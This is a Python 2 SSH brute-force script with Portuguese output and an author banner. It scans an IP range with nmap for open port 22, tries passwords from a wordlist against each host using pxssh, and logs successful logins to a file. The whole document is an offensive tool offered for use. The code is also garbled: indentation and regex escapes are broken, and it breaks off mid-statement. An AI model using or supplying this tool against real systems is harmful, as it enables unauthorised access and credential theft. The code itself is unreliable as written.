SSH Brute Force

#!/usr/bin/python
#####################
#SSH BruteForcer    #
# IP range          #
#####################
import sys, time, StringIO, commands, re
save_file = "LoginsSSH.txt"
verbose = 1
user = "/root/exploits/usersSSH.txt"


try:
    import pexpect, pxssh
except(ImportError):
    print "n Voce Precisa Do Pexpect Modulo."
    print " http://www.noah.org/wiki/Pexpect n"
    sys.exit(1)

def scan():
    ips = []
    args = 'nmap -P0 '+ip_range+' -p 22 -open | grep open -B 3'
    nmap = StringIO.StringIO(commands.getstatusoutput(args)[1]).readlines()
    for tmp in nmap:
        ipaddr = re.findall("d*.d*.d*.d*", tmp)
        if ipaddr:
                ips.append(ipaddr[0])
    return ips

def brute(ip, word):
    if verbose != 0:
        print " Testando --> ",word
        try:
            s = pxssh.pxssh()
            s.login (ip, user, word, login_timeout=10)
            s.sendline (command)
            s.prompt()
            print "n",s.before
            s.logout()
        print "t[!] Login Com Sucesso: Login -->",user,"  Senha -->",word,"n"
        logins.writelines(" SSH Login: "+ip+":22 Usuario:"+user+"Senha:"+word+"n")
    except Exception, e:

        pass
    except KeyboardInterrupt:
        print "n[-] Saindo... n"
        logins.close()
        sys.exit(1)

time.sleep(0.9)
print "n"
print "nt #######################################   "
print "nt ###         Brute Force SSH         ###   "
print "nt ### ***           Zepek         *** ###   "
print "nt ###       Skype: live:zepek_al      ###   "
print "nt ###            IP Range             ###   "
print "nt #######################################   "
print "n"
time.sleep(0.9)
print "t          Iniciando... "
time.sleep(0.9)
if len(sys.argv) != 3:
    print "n ---> Tutorial: ./ssh.py 192.168.0.1-999 wordlist.txt"
        print "n ---> Tutorial: ./ssh.py 192.168.0.1 wordlist.txt"
    sys.exit(1)
ip_range = sys.argv[1]
command = 'uname -a'
time.sleep(0.9)
print "n"
logins = open(save_file, "a")
print "n"

try:
    words = open(sys.argv[2], "r").readlines()
except(IOError):
    print "n[-] ERRO : Selecione O Local De Sua Wordlist n"
    sys.exit(1)

print "n[+] Carregado: ",len(words),"senhas"
print "[+] Usuario: ",user
print "[+] Arquivo Salvo: ",save_file
if verbose != 0:
    print "[+] Modo Verbose: On"
else:
    print "[+] Modo Verbose: Off"
print "[+] Scaneando: ",ip_range
print "n"
print "    Aguarde... "

ips = scan()
if len(ips)